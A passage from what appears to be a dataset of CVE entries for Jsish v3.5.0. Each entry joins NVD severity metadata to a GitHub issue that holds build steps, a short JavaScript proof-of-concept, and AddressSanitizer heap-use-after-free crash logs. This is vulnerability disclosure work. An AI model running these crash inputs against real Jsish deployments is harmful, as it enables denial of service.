previously allocated by thread T0 here:
#0 0x7f78b7898d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x56055c44daa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiObj.c:176 in DeleteTreeValue
Shadow bytes around the buggy address:
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
0x0c067fff8010: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa
0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
=>0x0c067fff8030: fa fa fd fd fd fd fa fa fd fd fd fd fa fa[fd]fd
0x0c067fff8040: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8050: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff8060: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c067fff8070: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8080: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==66060==ABORTING
``` | Heap-use-after-free src/jsiObj.c:176 in DeleteTreeValue | https://api.github.com/repos/pcmacdon/jsish/issues/82/comments | 0 | 2021-12-24T10:48:59Z | 2021-12-28T02:31:29Z | https://github.com/pcmacdon/jsish/issues/82 | 1,088,311,523 | 82 |
CVE-2021-46496 | 2022-01-27T21:15:08.870 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_ObjFree in src/jsiObj.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
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"source": "[email protected]",
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"privilegesRequired": "NONE",
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"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
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"Third Party Advisory"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var __instance = Object;
__instance.exec = RegExp;
try {
$ERROR('Error' + (__instance.exec("1")));
} catch (e) {
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==22083==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000127e8 at pc 0x5569eb9fb061 bp 0x7ffdf3af1950 sp 0x7ffdf3af1940
READ of size 4 at 0x6080000127e8 thread T0
#0 0x5569eb9fb060 in Jsi_ObjFree src/jsiObj.c:339
#1 0x5569eb8e3aa0 in jsiInterpDelete src/jsiInterp.c:1943
#2 0x5569ec0fa047 in jsi_main src/main.c:49
#3 0x7f90875e2bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x5569eb889969 in _start (/usr/local/bin/jsish+0xe8969)
0x6080000127e8 is located 72 bytes inside of 96-byte region [0x6080000127a0,0x608000012800)
freed by thread T0 here:
#0 0x7f90882517a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x5569eb8cf073 in regExpFree src/jsiInterp.c:588
previously allocated by thread T0 here:
#0 0x7f9088251d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x5569eb8faaa4 in Jsi_Calloc src/jsiUtils.c:57
#2 0x5569ec1a6faf (/usr/local/bin/jsish+0xa05faf)
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree
Shadow bytes around the buggy address:
0x0c107fffa4a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fffa4b0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fffa4c0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fffa4d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fffa4e0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
=>0x0c107fffa4f0: fa fa fa fa fd fd fd fd fd fd fd fd fd[fd]fd fd
0x0c107fffa500: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fffa510: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fffa520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fffa530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fffa540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==22083==ABORTING
```
| MEMLEAK NOW: Heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree | https://api.github.com/repos/pcmacdon/jsish/issues/83/comments | 2 | 2021-12-24T10:49:33Z | 2021-12-28T02:31:03Z | https://github.com/pcmacdon/jsish/issues/83 | 1,088,311,780 | 83 |
CVE-2021-46497 | 2022-01-27T21:15:08.917 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_UserObjDelete in src/jsiUserObj.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"impactScore": 2.9,
"obtainAllPrivilege": false,
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"version": "3.1"
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
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{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/84"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
try {
WebSocket(new Object());
} catch (e) {
}
try {
(Number)('wrong');
} catch (e) {
}
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==116852==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000000220 at pc 0x56117e352348 bp 0x7ffdd456fd30 sp 0x7ffdd456fd20
READ of size 4 at 0x608000000220 thread T0
#0 0x56117e352347 in jsi_UserObjDelete src/jsiUserObj.c:32
#1 0x56117e1a9a28 in freeUserdataTbl src/jsiInterp.c:660
#2 0x56117e24d8dd in Jsi_HashClear src/jsiHash.c:507
#3 0x56117e24dcd7 in Jsi_HashDelete src/jsiHash.c:526
#4 0x56117e1be7d8 in jsiInterpDelete src/jsiInterp.c:1935
#5 0x56117e9d5047 in jsi_main src/main.c:49
#6 0x7f876ebfebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#7 0x56117e164969 in _start (/usr/local/bin/jsish+0xe8969)
0x608000000220 is located 0 bytes inside of 96-byte region [0x608000000220,0x608000000280)
freed by thread T0 here:
#0 0x7f876f86d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x56117e2d6a0f in Jsi_ObjDecrRefCount src/jsiObj.c:440
previously allocated by thread T0 here:
#0 0x7f876f86dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x56117e1d5aa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete
Shadow bytes around the buggy address:
0x0c107fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff8000: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8010: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8020: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8030: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fff8040: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8050: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8060: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8070: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8080: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fff8090: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==116852==ABORTING
```
| Heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete | https://api.github.com/repos/pcmacdon/jsish/issues/84/comments | 0 | 2021-12-24T10:50:28Z | 2021-12-27T16:51:37Z | https://github.com/pcmacdon/jsish/issues/84 | 1,088,312,235 | 84 |
CVE-2021-46498 | 2022-01-27T21:15:08.957 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_wswebsocketObjFree in src/jsiWebSocket.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/81"
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
console.printf= (new WebSocket);
setTimeout(console, 100000);
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
=====ERROR: AddressSanitizer: heap-use-after-free on address 0x61b000000080 at pc 0x55b167ed6de6 bp 0x7ffcd360f220 sp 0x7ffcd360f210
READ of size 4 at 0x61b000000080 thread T0
#0 0x55b167ed6de5 in jsi_wswebsocketObjFree src/jsiWebSocket.c:3190
#1 0x55b167e7ba2d in jsi_UserObjFree src/jsiUserObj.c:75
#2 0x55b167dfeefb in Jsi_ObjFree src/jsiObj.c:334
#3 0x55b167dffa0f in Jsi_ObjDecrRefCount src/jsiObj.c:440
#4 0x55b167cae3d1 in ValueFree src/jsiValue.c:178
#5 0x55b167cae3d1 in Jsi_ValueFree src/jsiValue.c:199
#6 0x55b167cae6cf in Jsi_DecrRefCount src/jsiValue.c:52
#7 0x55b167dfc697 in DeleteTreeValue src/jsiObj.c:177
#8 0x55b167e14384 in Jsi_TreeEntryDelete src/jsiTree.c:636
#9 0x55b167e15f10 in destroy_node src/jsiTree.c:496
#10 0x55b167e15f10 in destroy_node src/jsiTree.c:494
#11 0x55b167e15f10 in Jsi_TreeDelete src/jsiTree.c:515
#12 0x55b167dfe9df in Jsi_ObjFree src/jsiObj.c:348
#13 0x55b167dffa0f in Jsi_ObjDecrRefCount src/jsiObj.c:440
#14 0x55b167cae3d1 in ValueFree src/jsiValue.c:178
#15 0x55b167cae3d1 in Jsi_ValueFree src/jsiValue.c:199
#16 0x55b167cae6cf in Jsi_DecrRefCount src/jsiValue.c:52
#17 0x55b167dbe4d4 in Jsi_EventFree src/jsiCmds.c:204
#18 0x55b167cd44e2 in freeEventTbl src/jsiInterp.c:570
#19 0x55b167d768dd in Jsi_HashClear src/jsiHash.c:507
#20 0x55b167d76cd7 in Jsi_HashDelete src/jsiHash.c:526
#21 0x55b167ce787c in jsiInterpDelete src/jsiInterp.c:1936
#22 0x55b1684fe047 in jsi_main src/main.c:49
#23 0x7f5c2d555bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#24 0x55b167c8d969 in _start (/usr/local/bin/jsish+0xe8969)
0x61b000000080 is located 0 bytes inside of 1656-byte region [0x61b000000080,0x61b0000006f8)
freed by thread T0 here:
#0 0x7f5c2e1c47a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x55b167ed6d22 in jsi_wswebsocketObjFree src/jsiWebSocket.c:3199
previously allocated by thread T0 here:
#0 0x7f5c2e1c4d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x55b167cfeaa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiWebSocket.c:3190 in jsi_wswebsocketObjFree
Shadow bytes around the buggy address:
0x0c367fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c367fff8010:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c367fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c367fff8030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c367fff8040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c367fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c367fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
| Heap-use-after-free src/jsiWebSocket.c:3190 in jsi_wswebsocketObjFree | https://api.github.com/repos/pcmacdon/jsish/issues/81/comments | 0 | 2021-12-24T10:48:23Z | 2021-12-28T02:31:29Z | https://github.com/pcmacdon/jsish/issues/81 | 1,088,311,213 | 81 |
CVE-2021-46499 | 2022-01-27T21:15:09.003 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ValueCopyMove in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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"version": "3.1"
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
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} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/76"
}
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"Exploit",
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
function JSEtest(){}
var arr = /x?y?z?/.exec("abcd");
arr[arr[1000] = 3](arr.every(JSEtest), arr[1000] = 3, '1')
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
==99189==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000006e84 at pc 0x5637792b29cd bp 0x7ffef5f97e60 sp 0x7ffef5f97e50
READ of size 4 at 0x603000006e84 thread T0
#0 0x5637792b29cc in jsi_ValueCopyMove src/jsiValue.c:245
#1 0x5637792b29cc in Jsi_ValueCopy src/jsiValue.c:301
#2 0x5637795f6759 in jsi_ObjArraySetDup src/jsiEval.c:1054
#3 0x5637795f6759 in jsi_ValueObjKeyAssign src/jsiEval.c:1079
#4 0x5637795f6759 in jsiEvalCodeSub src/jsiEval.c:1303
#5 0x5637795fd15e in jsi_evalcode src/jsiEval.c:2204
#6 0x563779601274 in jsi_evalStrFile src/jsiEval.c:2665
#7 0x5637792f066a in Jsi_Main src/jsiInterp.c:936
#8 0x563779af503a in jsi_main src/main.c:47
#9 0x7f66650eebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#10 0x563779284969 in _start (/usr/local/bin/jsish+0xe8969)
0x603000006e84 is located 4 bytes inside of 32-byte region [0x603000006e80,0x603000006ea0)
freed by thread T0 here:
#0 0x7f6665d5d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x5637792a56cf in Jsi_DecrRefCount src/jsiValue.c:52
previously allocated by thread T0 here:
#0 0x7f6665d5dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x5637792f5aa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove
Shadow bytes around the buggy address:
0x0c067fff8d80: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff8d90: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff8da0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff8db0: fa fa fd fd fd fd fa fa 00 00 04 fa fa fa 00 00
0x0c067fff8dc0: 04 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
=>0x0c067fff8dd0:[fd]fd fd fd fa fa 00 00 00 00 fa fa fd fd fd fd
0x0c067fff8de0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c067fff8df0: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8e00: 00 00 00 00 fa fa 00 00 00 00 fa fa fa fa fa fa
0x0c067fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==99189==ABORTING
```
Credits: Found by OWL337 team. | Heap-use-after-free src/jsiValue.c:245 in jsi_ValueCopyMove | https://api.github.com/repos/pcmacdon/jsish/issues/76/comments | 0 | 2021-12-24T10:44:21Z | 2022-01-12T02:15:38Z | https://github.com/pcmacdon/jsish/issues/76 | 1,088,309,178 | 76 |
CVE-2021-46500 | 2022-01-27T21:15:09.047 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ArgTypeCheck in src/jsiFunc.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
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"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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"cvssMetricV31": [
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"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/85"
}
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] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
export CFLAGS='-fsanitize=address'
make
```
###### Test case
```javascript
var JSEtest = [
'aa',
'gg',
'hhh',
'mm',
'nn'
];
'sort:' + JSEtest.sort(function (str, position) {
return JSEtest.unshift('pop:' + JSEtest.pop());
});
!'concat:' + JSEtest.concat().every(function (E) {
return 'sort:' + JSEtest.sort(function (str, position) {
return JSEtest.unshift('pop:' + JSEtest.pop());
});
});
```
###### Execution steps & Output
```bash
$ ./jsish/jsish poc.js
=====ERROR: AddressSanitizer: heap-use-after-free on address 0x603000007458 at pc 0x5566730cf1ca bp 0x7ffe092500c0 sp 0x7ffe092500b0
READ of size 1 at 0x603000007458 thread T0
#0 0x5566730cf1c9 in jsi_ArgTypeCheck src/jsiFunc.c:207
#1 0x556673158c49 in jsi_FuncCallSub src/jsiProto.c:263
#2 0x55667342171a in jsiFunctionSubCall src/jsiEval.c:796
#3 0x55667342171a in jsiEvalFunction src/jsiEval.c:837
#4 0x55667342171a in jsiEvalCodeSub src/jsiEval.c:1264
#5 0x55667343515e in jsi_evalcode src/jsiEval.c:2204
#6 0x556673158834 in jsi_FuncCallSub src/jsiProto.c:220
#7 0x5566730d4fec in jsi_FunctionInvoke src/jsiFunc.c:777
#8 0x5566730d4fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#9 0x556673186fa8 in SortSubCmd src/jsiArray.c:970
#10 0x7f067f973311 (/lib/x86_64-linux-gnu/libc.so.6+0x42311)
#11 0x7f067f9736b5 in qsort_r (/lib/x86_64-linux-gnu/libc.so.6+0x426b5)
#12 0x55667318a611 in jsi_ArraySortCmd src/jsiArray.c:1065
#13 0x556673157818 in jsi_FuncCallSub src/jsiProto.c:244
#14 0x55667342171a in jsiFunctionSubCall src/jsiEval.c:796
#15 0x55667342171a in jsiEvalFunction src/jsiEval.c:837
#16 0x55667342171a in jsiEvalCodeSub src/jsiEval.c:1264
#17 0x55667343515e in jsi_evalcode src/jsiEval.c:2204
#18 0x556673158834 in jsi_FuncCallSub src/jsiProto.c:220
#19 0x5566730d4fec in jsi_FunctionInvoke src/jsiFunc.c:777
#20 0x5566730d4fec in Jsi_FunctionInvoke src/jsiFunc.c:789
#21 0x55667319bf64 in jsi_ArrayFindSubCmd src/jsiArray.c:576
#22 0x55667319bf64 in jsi_ArrayEveryCmd src/jsiArray.c:663
#23 0x556673157818 in jsi_FuncCallSub src/jsiProto.c:244
#24 0x55667342171a in jsiFunctionSubCall src/jsiEval.c:796
#25 0x55667342171a in jsiEvalFunction src/jsiEval.c:837
#26 0x55667342171a in jsiEvalCodeSub src/jsiEval.c:1264
#27 0x55667343515e in jsi_evalcode src/jsiEval.c:2204
#28 0x556673439274 in jsi_evalStrFile src/jsiEval.c:2665
#29 0x55667312866a in Jsi_Main src/jsiInterp.c:936
#30 0x55667392d03a in jsi_main src/main.c:47
#31 0x7f067f952bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#32 0x5566730bc969 in _start (/usr/local/bin/jsish+0xe8969)
0x603000007458 is located 8 bytes inside of 32-byte region [0x603000007450,0x603000007470)
freed by thread T0 here:
#0 0x7f06805c17a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
#1 0x5566730dd6cf in Jsi_DecrRefCount src/jsiValue.c:52
previously allocated by thread T0 here:
#0 0x7f06805c1d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
#1 0x55667312daa4 in Jsi_Calloc src/jsiUtils.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/jsiFunc.c:207 in jsi_ArgTypeCheck
Shadow bytes around the buggy address:
0x0c067fff8e30: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff8e40: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c067fff8e50: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8e60: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff8e70: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
=>0x0c067fff8e80: fd fd fa fa fd fd fd fd fa fa fd[fd]fd fd fa fa
0x0c067fff8e90: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
0x0c067fff8ea0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c067fff8eb0: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
0x0c067fff8ec0: fd fd fd fd fa fa 00 00 00 00 fa fa fd fd fd fd
0x0c067fff8ed0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
| Heap-use-after-free src/jsiFunc.c:207 in jsi_ArgTypeCheck | https://api.github.com/repos/pcmacdon/jsish/issues/85/comments | 2 | 2021-12-24T10:51:56Z | 2021-12-26T22:47:18Z | https://github.com/pcmacdon/jsish/issues/85 | 1,088,313,003 | 85 |
CVE-2021-46501 | 2022-01-27T21:15:09.097 | Jsish v3.5.0 was discovered to contain a heap-use-after-free via SortSubCmd in src/jsiArray.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
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"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
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"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/pcmacdon/jsish/issues/86"
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"Third Party Advisory"
] | github.com | [
"pcmacdon",
"jsish"
] | ###### Jsish revision
Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)
Version: v3.5.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
